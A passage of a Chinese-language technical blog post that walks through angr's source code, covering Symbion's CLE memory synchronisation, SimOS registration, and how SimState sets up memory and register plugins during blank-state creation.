auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">_sync_cle</span>(self, target):<br/>        <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">_check_mapping_name</span>(cle_mapping_name, concrete_mapping_name):<br/>            <span style="color: rgb(198, 120, 221);">if</span> cle_mapping_name == concrete_mapping_name:<br/>                <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">True</span><br/>            <span style="color: rgb(198, 120, 221);">else</span>:<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;"># removing version and extension information from the library name</span><br/>                cle_mapping_name = re.findall(<span style="color: rgb(152, 195, 121);">r&#34;[\w&#39;]+&#34;</span>, cle_mapping_name)<br/>                concrete_mapping_name = re.findall(<span style="color: rgb(152, 195, 121);">r&#34;[\w&#39;]+&#34;</span>, concrete_mapping_name)<br/>                <span style="color: rgb(198, 120, 221);">return</span> cle_mapping_name[<span style="color: rgb(209, 154, 102);">0</span>] == concrete_mapping_name[<span style="color: rgb(209, 154, 102);">0</span>]<br/>        l.debug(<span style="color: rgb(152, 195, 121);">&#34;Synchronizing CLE backend with the concrete process memory mapping&#34;</span>)<br/>        <span style="color: rgb(198, 120, 221);">try</span>:<br/>            vmmap = target.get_mappings()<br/>        <span style="color: rgb(198, 120, 221);">except</span> NotImplementedError:<br/>            l.critical(<span style="color: rgb(152, 195, 121);">&#34;Can&#39;t synchronize CLE backend using the ConcreteTarget provided.&#34;</span>)<br/>            self.synchronize_cle = <span style="color: rgb(86, 182, 194);">False</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># so, deactivate this feature</span><br/>            l.debug(<span style="color: rgb(152, 195, 121);">&#34;CLE synchronization has been deactivated&#34;</span>)<br/>            <span style="color: rgb(198, 120, 221);">return</span><br/>        <span style="color: rgb(198, 120, 221);">for</span> mapped_object <span style="color: rgb(198, 120, 221);">in</span> self.state.project.loader.all_elf_objects:<br/>            binary_name = os.path.basename(mapped_object.binary)<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># this object has already been sync, skip it.</span><br/>            <span style="color: rgb(198, 120, 221);">if</span> binary_name <span style="color: rgb(198, 120, 221);">in</span> self.already_sync_objects_addresses:<br/>                <span style="color: rgb(198, 120, 221);">continue</span><br/>            <span style="color: rgb(198, 120, 221);">for</span> mmap <span style="color: rgb(198, 120, 221);">in</span> vmmap:<br/>                <span style="color: rgb(198, 120, 221);">if</span> _check_mapping_name(binary_name, mmap.name):<br/>                    l.debug(<span style="color: rgb(152, 195, 121);">&#34;Match! %s -&gt; %s&#34;</span>, mmap.name, binary_name)<br/>                    <span style="color: rgb(92, 99, 112);font-style: italic;"># let&#39;s make sure that we have the header at this address to confirm that it is the</span><br/>                    <span style="color: rgb(92, 99, 112);font-style: italic;"># base address.</span><br/>                    <span style="color: rgb(92, 99, 112);font-style: italic;"># That&#39;s not a perfect solution, but should work most of the time.</span><br/>                    result = target.read_memory(mmap.start_address, <span style="color: rgb(209, 154, 102);">0x10</span>)<br/>                    <span style="color: rgb(198, 120, 221);">if</span> self.state.project.loader.main_object.check_magic_compatibility(io.BytesIO(result)):<br/>                        <span style="color: rgb(198, 120, 221);">if</span> mapped_object.mapped_base == mmap.start_address:<br/>                            <span style="color: rgb(92, 99, 112);font-style: italic;"># We already have the correct address for this memory mapping</span><br/>                            l.debug(<span style="color: rgb(152, 195, 121);">&#34;Object %s is already rebased correctly at 0x%x&#34;</span>, binary_name,<br/>                                    mapped_object.mapped_base)<br/>                            self.already_sync_objects_addresses.append(mmap.name)<br/>                            <span style="color: rgb(198, 120, 221);">break</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># object has been synchronized, move to the next one!</span><br/>                        <span style="color: rgb(92, 99, 112);font-style: italic;"># rebase the object if the CLE address doesn&#39;t match the real one,</span><br/>                        <span style="color: rgb(92, 99, 112);font-style: italic;"># this can happen with PIE binaries and libraries.</span><br/>                        l.debug(<span style="color: rgb(152, 195, 121);">&#34;Remapping object %s mapped at address 0x%x at address 0x%x&#34;</span>, binary_name,<br/>                                mapped_object.mapped_base, mmap.start_address)<br/>                        old_mapped_base = mapped_object.mapped_base<br/>                        mapped_object.mapped_base = mmap.start_address  <span style="color: rgb(92, 99, 112);font-style: italic;"># Rebase now!</span><br/>                        <span style="color: rgb(92, 99, 112);font-style: italic;"># TODO re-write this horrible thing</span><br/>                        mapped_object.sections._rebase(<span style="color: rgb(230, 192, 123);">abs</span>(mmap.start_address - old_mapped_base))  <span style="color: rgb(92, 99, 112);font-style: italic;"># fix sections</span><br/>                        mapped_object.segments._rebase(<span style="color: rgb(230, 192, 123);">abs</span>(mmap.start_address - old_mapped_base))  <span style="color: rgb(92, 99, 112);font-style: italic;"># fix segments</span><br/>                        self.already_sync_objects_addresses.append(mmap.name)<br/>                        <span style="color: rgb(198, 120, 221);">break</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># object has been synchronized, move to the next one!</span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  内存这块通过比对二进制文件的名字和从远程环境获取的vmmap所属内存的名字来确认如何同步本地环境，参考示意图：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5324074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2988de81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZpGOgeJQicThickxpGIS4wQTlwu2Mgb9iaBjntEedeb3yGibox6YjNIVbQXwS1sHqHylRgkHZNXqqj1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">SimProc:</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• SimProcess在angr里面起到非常重要的作用，这里需要对其进行重新hook，来恢复对于SimProcess的使用。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• symbion所做的主要是以上三点，进而帮助用户搭建一个针对某些目标（比如嵌入式设备）运行时状态的本地恢复，来方便用户针对某些功能进行更好的分析验证，不过到目前为止我们知道了远程状态是如何建立的以及远程状态如何同步到angr本地的抽象环境，但是还不知道angr state是如何建立的，下面一起了解一下。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 在angr的Project里面有一个SimOS的概念，在我们初始化Project的时候一般是不需要指定的，angr会根据你加载的文件类型来进行自动化的匹配，当然如果加载的文件识别不出来，那可能需要你手动指定了。对于SimOS，angr实现了以下几种：</p></li></ul><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">register_simos(<span style="color: rgb(152, 195, 121);">&#39;linux&#39;</span>, SimLinux)<br/>register_simos(<span style="color: rgb(152, 195, 121);">&#39;windows&#39;</span>, SimWindows)<br/>register_simos(<span style="color: rgb(152, 195, 121);">&#39;cgc&#39;</span>, SimCGC)<br/>register_simos(<span style="color: rgb(152, 195, 121);">&#39;javavm&#39;</span>, SimJavaVM)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这些不同的OS class里面都实现的有类似entry_state，blank_state这样的函数来帮助建立初始化的抽象环境。不过上述函数一般都是在state_blank函数上做封装处理，该函数用来初始化一个blank state。在state_blank最开始会根据ELF文件（或者其它平台类型的文件，这里以Linux平台作为例子）的段属性来创建对应的map信息：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">            permission_map = { }<br/>            <span style="color: rgb(198, 120, 221);">for</span> obj <span style="color: rgb(198, 120, 221);">in</span> self.project.loader.all_objects:<br/>                <span style="color: rgb(198, 120, 221);">for</span> seg <span style="color: rgb(198, 120, 221);">in</span> obj.segments:<br/>                    perms = <span style="color: rgb(209, 154, 102);">0</span><br/>                    <span style="color: rgb(92, 99, 112);font-style: italic;"># bit values based off of protection bit values from sys/mman.h</span><br/>                    <span style="color: rgb(198, 120, 221);">if</span> seg.is_readable:<br/>                        perms |= <span style="color: rgb(209, 154, 102);">1</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># PROT_READ</span><br/>                    <span style="color: rgb(198, 120, 221);">if</span> seg.is_writable:<br/>                        perms |= <span style="color: rgb(209, 154, 102);">2</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># PROT_WRITE</span><br/>                    <span style="color: rgb(198, 120, 221);">if</span> seg.is_executable:<br/>                        perms |= <span style="color: rgb(209, 154, 102);">4</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># PROT_EXEC</span><br/>                    permission_map[(seg.min_addr, seg.max_addr)] = perms</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后根据栈的属性设置对应的权限：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">          <span style="color: rgb(198, 120, 221);">if</span> stack_end <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            stack_end = self.arch.initial_sp<br/>......  <br/>              <span style="color: rgb(198, 120, 221);">if</span> self.project.loader.main_object.execstack:<br/>            stack_perms = <span style="color: rgb(209, 154, 102);">1</span> | <span style="color: rgb(209, 154, 102);">2</span> | <span style="color: rgb(209, 154, 102);">4</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># RWX</span><br/>        <span style="color: rgb(198, 120, 221);">else</span>:<br/>            stack_perms = <span style="color: rgb(209, 154, 102);">1</span> | <span style="color: rgb(209, 154, 102);">2</span>  <span style="color: rgb(92, 99, 112);font-style: italic;"># RW</span></code></pre><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32642487046632124" data-s="300,640" style="" data-type="png" data-w="772" src="https://wechat2rss.xlab.app/img-proxy/?k=75481164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZpGOgeJQicThickxpGIS4wQTciawW3Bc8pERsYNRZEUtLy8LzDyfeYZRNTeaicfeh7qwjLHj5O6PFBIQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  （上图为32位程序，根据不同的程序位数，应该是有一个预设的栈帧开始位置）</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  然后根据上述的一些文件信息初始化SimState类，经常用angr的人应该对这个类很熟悉，它代表的就是程序在进行符号执行时的state。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">        state = SimState(self.project, stack_end=stack_end, stack_size=stack_size, stack_perms=stack_perms, **kwargs)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在SimState初始化最开始的阶段一样是设置各种信息，这一块非常简单：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;"># pylint: disable=not-callable</span><br/><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">SimState</span>(<span style="color: rgb(230, 192, 123);">PluginHub</span>):<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    The SimState represents the state of a program, including its memory, registers, and so forth.<br/>    :param angr.Project project:    The project instance.<br/>    :param archinfo.Arch|str arch:  The architecture of the state.<br/>    :ivar regs:         A convenient view of the state&#39;s registers, where each register is a property<br/>    :ivar mem:          A convenient view of the state&#39;s memory, a :class:`angr.state_plugins.view.SimMemView`<br/>    :ivar registers:    The state&#39;s register file as a flat memory region<br/>    :ivar memory:       The state&#39;s memory as a flat memory region<br/>    :ivar solver:       The symbolic solver and variable manager for this state<br/>    :ivar inspect:      The breakpoint manager, a :class:`angr.state_plugins.inspect.SimInspector`<br/>    :ivar log:          Information about the state&#39;s history<br/>    :ivar scratch:      Information about the current execution step<br/>    :ivar posix:        MISNOMER: information about the operating system or environment model<br/>    :ivar fs:           The current state of the simulated filesystem<br/>    :ivar libc:         Information about the standard library we are emulating<br/>    :ivar cgc:          Information about the cgc environment<br/>    :ivar uc_manager:   Control of under-constrained symbolic execution<br/>    :ivar unicorn:      Control of the Unicorn Engine<br/>    &#34;&#34;&#34;</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># Type Annotations for default plugins to allow type inference</span><br/>    solver: <span style="color: rgb(152, 195, 121);">&#39;SimSolver&#39;</span><br/>    posix: <span style="color: rgb(152, 195, 121);">&#39;SimSystemPosix&#39;</span><br/>    registers: <span style="color: rgb(152, 195, 121);">&#39;MemoryMixin&#39;</span><br/>    regs: <span style="color: rgb(152, 195, 121);">&#39;SimRegNameView&#39;</span><br/>    memory: <span style="color: rgb(152, 195, 121);">&#39;MemoryMixin&#39;</span><br/>    callstack: <span style="color: rgb(152, 195, 121);">&#39;CallStack&#39;</span><br/>    mem: <span style="color: rgb(152, 195, 121);">&#34;SimMemView&#34;</span><br/>    callstack: <span style="color: rgb(152, 195, 121);">&#39;CallStack&#39;</span><br/>    mem: <span style="color: rgb(152, 195, 121);">&#34;SimMemView&#34;</span><br/>    history: <span style="color: rgb(152, 195, 121);">&#39;SimStateHistory&#39;</span><br/>    inspect: <span style="color: rgb(152, 195, 121);">&#39;SimInspector&#39;</span><br/>    jni_references: <span style="color: rgb(152, 195, 121);">&#34;SimStateJNIReferences&#34;</span><br/>    scratch: <span style="color: rgb(152, 195, 121);">&#34;SimStateScratch&#34;</span><br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">__init__</span>(<br/>            self,<br/>            project=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            arch=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            plugins=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            mode=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            options=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            add_options=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            remove_options=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            special_memory_filler=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            os_name=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            plugin_preset=<span style="color: rgb(152, 195, 121);">&#39;default&#39;</span>,<br/>            cle_memory_backer=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            dict_memory_backer=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            permissions_map=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            default_permissions=<span style="color: rgb(209, 154, 102);">3</span>,<br/>            stack_perms=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            stack_end=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            stack_size=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            regioned_memory_cls=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            **kwargs):<br/>        <span style="color: rgb(198, 120, 221);">if</span> kwargs:<br/>            l.warning(<span style="color: rgb(152, 195, 121);">&#34;Unused keyword arguments passed to SimState: %s&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34; &#34;</span>.join(kwargs))<br/>        <span style="color: rgb(230, 192, 123);">super</span>(SimState, self).__init__()<br/>        self.project = project<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># Java &amp; Java JNI</span><br/>        self._is_java_project = self.project <span style="color: rgb(198, 120, 221);">and</span> self.project.is_java_project<br/>        self._is_java_jni_project = self.project <span style="color: rgb(198, 120, 221);">and</span> self.project.is_java_jni_project<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># Arch</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> self._is_java_jni_project:<br/>            self._arch = { <span style="color: rgb(152, 195, 121);">&#34;soot&#34;</span> : project.arch,<br/>                           <span style="color: rgb(152, 195, 121);">&#34;vex&#34;</span>  : project.simos.native_simos.arch }<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># This flag indicates whether the current ip is a native address or</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># a soot address descriptor.</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># Note: We cannot solely rely on the ip to make that decsision,</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">#       because the registers (storing the ip) are part of the</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">#       plugins that are getting toggled (=&gt; mutual dependence).</span><br/>            self.ip_is_soot_addr = <span style="color: rgb(86, 182, 194);">False</span><br/>        <span style="color: rgb(198, 120, 221);">else</span>:<br/>            self._arch = arch <span style="color: rgb(198, 120, 221);">if</span> arch <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> project.arch.copy() <span style="color: rgb(198, 120, 221);">if</span> project <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(86, 182, 194);">None</span><br/>            <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">type</span>(self._arch) <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(230, 192, 123);">str</span>:<br/>                self._arch = archinfo.arch_from_id(self._arch)<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># the options</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> options <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            <span style="color: rgb(198, 120, 221);">if</span> mode <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>                l.warning(<span style="color: rgb(152, 195, 121);">&#34;SimState defaulting to symbolic mode.&#34;</span>)<br/>                mode = <span style="color: rgb(152, 195, 121);">&#34;symbolic&#34;</span><br/>            options = o.modes[mode]<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">isinstance</span>(options, (<span style="color: rgb(230, 192, 123);">set</span>, <span style="color: rgb(230, 192, 123);">list</span>)):<br/>            options = SimStateOptions(options)<br/>        <span style="color: rgb(198, 120, 221);">if</span> add_options <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            options |= add_options<br/>        <span style="color: rgb(198, 120, 221);">if</span> remove_options <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            options -= remove_options<br/>        self.options = options<br/>        self.mode = mode<br/>        self.supports_inspect = <span style="color: rgb(86, 182, 194);">False</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># OS name</span><br/>        self.os_name = os_name<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># This is used in static mode as we don&#39;t have any constraints there</span><br/>        self._satisfiable = <span style="color: rgb(86, 182, 194);">True</span><br/>        self.uninitialized_access_handler = <span style="color: rgb(86, 182, 194);">None</span><br/>        self._special_memory_filler = special_memory_filler<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># this is a global condition, applied to all added constraints, memory reads, etc</span><br/>        self._global_condition = <span style="color: rgb(86, 182, 194);">None</span><br/>        self.ip_constraints = []<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># plugins. lord help us</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> plugin_preset <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            self.use_plugin_preset(plugin_preset)<br/>        <span style="color: rgb(198, 120, 221);">if</span> plugins <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            <span style="color: rgb(198, 120, 221);">for</span> n,p <span style="color: rgb(198, 120, 221);">in</span> plugins.items():<br/>                self.register_plugin(n, p, inhibit_init=<span style="color: rgb(86, 182, 194);">True</span>)<br/>.......</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  既然最开始创建的是blank state，那么必然是不存在预设的插件的，因此angr会在这种默认条件下使用symbolic mode 和 sym_memory插件以及默认的register插件，这些都是angr实现抽象环境的核心组件，这些插件基本都继承SimStatePlugin类，在实现抽象化内存的设计中存在内存默认权限（3），默认的栈空间以及权限，基于cle.Loader选择的默认memory_backer，默认的空符号化地址集合等，同时将初始化后的结果注册为memory插件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">            <span style="color: rgb(198, 120, 221);">else</span>:<br/>                sim_memory_cls = self.plugin_preset.request_plugin(<span style="color: rgb(152, 195, 121);">&#39;sym_memory&#39;</span>)<br/>                sim_memory = sim_memory_cls(cle_memory_backer=cle_memory_backer, dict_memory_backer=dict_memory_backer, memory_id=<span style="color: rgb(152, 195, 121);">&#39;mem&#39;</span>,<br/>                                            permissions_map=permissions_map, default_permissions=default_permissions,<br/>                                            stack_perms=stack_perms, stack_end=stack_end, stack_size=stack_size)<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># Add memory plugin</span><br/>            <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> self._is_java_jni_project:<br/>                self.register_plugin(<span style="color: rgb(152, 195, 121);">&#39;memory&#39;</span>, sim_memory, inhibit_init=<span style="color: rgb(86, 182, 194);">True</span>)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于寄存器来说，在抽象初始化过程中其实和上述的内存初始化过程很相似，因为对于angr来说同样使用经典的抽象内存映射寄存器结构：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">            <span style="color: rgb(198, 120, 221);">else</span>:<br/>                sim_registers_cls = self.plugin_preset.request_plugin(<span style="color: rgb(152, 195, 121);">&#39;sym_memory&#39;</span>)<br/>                sim_registers = sim_registers_cls(memory_id=<span style="color: rgb(152, 195, 121);">&#34;reg&#34;</span>, endness=register_endness)<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># Add registers plugin</span><br/>            <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> self._is_java_jni_project:<br/>                self.register_plugin(<span style="color: rgb(152, 195, 121);">&#39;registers&#39;</span>, sim_registers, inhibit_init=<span style="color: rgb(86, 182, 194);">True</span>)<br/></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, 